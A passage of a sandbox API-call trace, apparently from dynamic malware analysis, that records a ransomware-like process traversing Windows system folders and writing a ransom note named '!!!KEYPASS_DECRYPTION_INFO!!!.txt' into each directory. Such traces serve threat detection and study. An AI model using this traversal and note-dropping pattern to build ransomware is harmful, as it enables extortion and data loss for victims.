lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.426] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.426] CloseHandle (hObject=0x3e8) returned 1 [0237.427] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9b38 [0237.427] FindNextFileW (in: hFindFile=0xcb9b38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.427] FindNextFileW (in: hFindFile=0xcb9b38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.427] PathFindExtensionW (pszPath="C:\\Boot\\uk-UA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.427] FindNextFileW (in: hFindFile=0xcb9b38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.427] PathFindExtensionW (pszPath="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned=".mui" [0237.427] FindNextFileW (in: hFindFile=0xcb9b38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.427] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.427] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.427] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.427] GetLastError () returned 0x3f0 [0237.427] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.427] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.427] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\zh-cn\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec [0237.627] GetFileType (hFile=0x3ec) returned 0x1 [0237.627] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.627] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.627] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.627] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.628] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.628] CloseHandle (hObject=0x3ec) returned 1 [0237.628] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9e78 [0237.629] FindNextFileW (in: hFindFile=0xcb9e78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.629] FindNextFileW (in: hFindFile=0xcb9e78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.629] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.629] FindNextFileW (in: hFindFile=0xcb9e78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.629] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0237.629] FindNextFileW (in: hFindFile=0xcb9e78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.629] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\memtest.exe.mui") returned=".mui" [0237.629] FindNextFileW (in: hFindFile=0xcb9e78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.629] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.629] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.629] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.629] GetLastError () returned 0x3f0 [0237.629] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\zh-HK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.629] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.636] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\zh-hk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4 [0237.865] GetFileType (hFile=0x3f4) returned 0x1 [0237.866] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.867] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.867] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.867] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.868] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.868] CloseHandle (hObject=0x3f4) returned 1 [0237.869] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba078 [0237.869] FindNextFileW (in: hFindFile=0xcba078, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.870] FindNextFileW (in: hFindFile=0xcba078, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.870] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.870] FindNextFileW (in: hFindFile=0xcba078, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.870] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0237.870] FindNextFileW (in: hFindFile=0xcba078, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.870] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\memtest.exe.mui") returned=".mui" [0237.870] FindNextFileW (in: hFindFile=0xcba078, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.870] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.870] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.870] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.870] GetLastError () returned 0x3f0 [0237.870] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.870] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.871] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\zh-tw\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0 [0237.918] GetFileType (hFile=0x3f0) returned 0x1 [0237.918] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.918] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.918] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.918] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.919] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.919] CloseHandle (hObject=0x3f0) returned 1 [0237.919] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9eb8 [0237.919] FindNextFileW (in: hFindFile=0xcb9eb8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.920] FindNextFileW (in: hFindFile=0xcb9eb8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.920] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.920] FindNextFileW (in: hFindFile=0xcb9eb8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.920] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0237.920] FindNextFileW (in: hFindFile=0xcb9eb8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.920] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\memtest.exe.mui") returned=".mui" [0237.920] FindNextFileW (in: hFindFile=0xcb9eb8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.920] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0 [0237.920] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.920] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0237.920] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.920] PathFindExtensionW (pszPath="C:\\BOOTNXT") returned="" [0237.920] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.920] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0237.920] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.920] PeekMessageW (in: lpMsg=0x2e4f718, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f718) returned 0 [0237.920] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb7128 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.920] GetLastError () returned 0x3f0 [0237.920] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Config.Msi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.920] PathFileExistsW (pszPath="C:\\Config.Msi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.920] CreateFileW (lpFileName="C:\\Config.Msi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\config.msi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f578, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8 [0237.921] GetFileType (hFile=0x3f8) returned 0x1 [0237.921] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f5a8, cchData=2 | out: lpLCData="0") returned 2 [0237.921] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f594, cchData=2 | out: lpLCData="0") returned 2 [0237.921] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f584, cchData=2 | out: lpLCData="0") returned 2 [0237.921] WriteFile (in: hFile=0x3f8, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x3a4, lpOverlapped=0x0) returned 1 [0237.921] WriteFile (in: hFile=0x3f8, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x2a, lpOverlapped=0x0) returned 1 [0237.922] CloseHandle (hObject=0x3f8) returned 1 [0237.922] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0xcb9bb8 [0237.922] FindNextFileW (in: hFindFile=0xcb9bb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.922] FindNextFileW (in: hFindFile=0xcb9bb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.922] PathFindExtensionW (pszPath="C:\\Config.Msi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.922] FindNextFileW (in: hFindFile=0xcb9bb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0 [0237.922] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.922] PeekMessageW (in: lpMsg=0x2e4f718, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f718) returned 0 [0237.922] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb7128 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.922] GetLastError () returned 0x3f0 [0237.922] PathAppendW (in: pszPath="C:\\Documents and Settings\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Documents and Settings\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.922] PathFileExistsW (pszPath="C:\\Documents and Settings\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.922] CreateFileW (lpFileName="C:\\Documents and Settings\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\documents and settings\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f578, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc [0237.923] GetFileType (hFile=0x3fc) returned 0x1 [0237.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f5a8, cchData=2 | out: lpLCData="0") returned 2 [0237.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f594, cchData=2 | out: lpLCData="0") returned 2 [0237.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f584, cchData=2 | out: lpLCData="0") returned 2 [0237.923] WriteFile (in: hFile=0x3fc, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x3a4, lpOverlapped=0x0) returned 1 [0237.924] WriteFile (in: hFile=0x3fc, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x2a, lpOverlapped=0x0) returned 1 [0237.924] CloseHandle (hObject=0x3fc) returned 1 [0237.924] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0xffffffff [0237.924] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.924] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0237.924] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.924] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0237.924] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.924] PeekMessageW (in: lpMsg=0x2e4f718, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f718) returned 0 [0237.924] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb7128 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.924] GetLastError () returned 0x3f0 [0237.924] PathAppendW (in: pszPath="C:\\PerfLogs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\PerfLogs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.924] PathFileExistsW (pszPath="C:\\PerfLogs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.924] CreateFileW (lpFileName="C:\\PerfLogs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\perflogs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f578, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc [0237.925] GetFileType (hFile=0x3fc) returned 0x1 [0237.925] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f5a8, cchData=2 | out: lpLCData="0") returned 2 [0237.925] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f594, cchData=2 | out: lpLCData="0") returned 2 [0237.925] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f584, cchData=2 | out: lpLCData="0") returned 2 [0237.925] WriteFile (in: hFile=0x3fc, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x3a4, lpOverlapped=0x0) returned 1 [0237.926] WriteFile (in: hFile=0x3fc, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x2a, lpOverlapped=0x0) returned 1 [0237.926] CloseHandle (hObject=0x3fc) returned 1 [0237.926] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0xcb9cf8 [0237.926] FindNextFileW (in: hFindFile=0xcb9cf8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.926] FindNextFileW (in: hFindFile=0xcb9cf8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.926] PathFindExtensionW (pszPath="C:\\PerfLogs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.926] FindNextFileW (in: hFindFile=0xcb9cf8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0 [0237.926] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0237.926] PeekMessageW (in: lpMsg=0x2e4f718, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f718) returned 0 [0237.926] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb7128 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.926] GetLastError () returned 0x3f0 [0237.926] PathAppendW (in: pszPath="C:\\Program Files\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.926] PathFileExistsW (pszPath="C:\\Program Files\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.926] CreateFileW (lpFileName="C:\\Program Files\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f578, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404 [0237.927] GetFileType (hFile=0x404) returned 0x1 [0237.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f5a8, cchData=2 | out: lpLCData="0") returned 2 [0237.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f594, cchData=2 | out: lpLCData="0") returned 2 [0237.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f584, cchData=2 | out: lpLCData="0") returned 2 [0237.927] WriteFile (in: hFile=0x404, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x3a4, lpOverlapped=0x0) returned 1 [0237.928] WriteFile (in: hFile=0x404, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x2a, lpOverlapped=0x0) returned 1 [0237.928] CloseHandle (hObject=0x404) returned 1 [0237.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0xcb9d78 [0237.928] FindNextFileW (in: hFindFile=0xcb9d78, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.928] FindNextFileW (in: hFindFile=0xcb9d78, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.928] PathFindExtensionW (pszPath="C:\\Program Files\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.928] FindNextFileW (in: hFindFile=0xcb9d78, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.928] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.928] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a40 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.928] GetLastError () returned 0x3f0 [0237.928] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.928] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x40c [0238.906] GetFileType (hFile=0x40c) returned 0x1 [0238.906] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0238.906] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0238.906] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0238.906] WriteFile (in: hFile=0x40c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0238.907] WriteFile (in: hFile=0x40c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0238.907] CloseHandle (hObject=0x40c) returned 1 [0238.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9a38 [0238.907] FindNextFileW (in: hFindFile=0xcb9a38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0238.907] FindNextFileW (in: hFindFile=0xcb9a38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0238.907] PathFindExtensionW 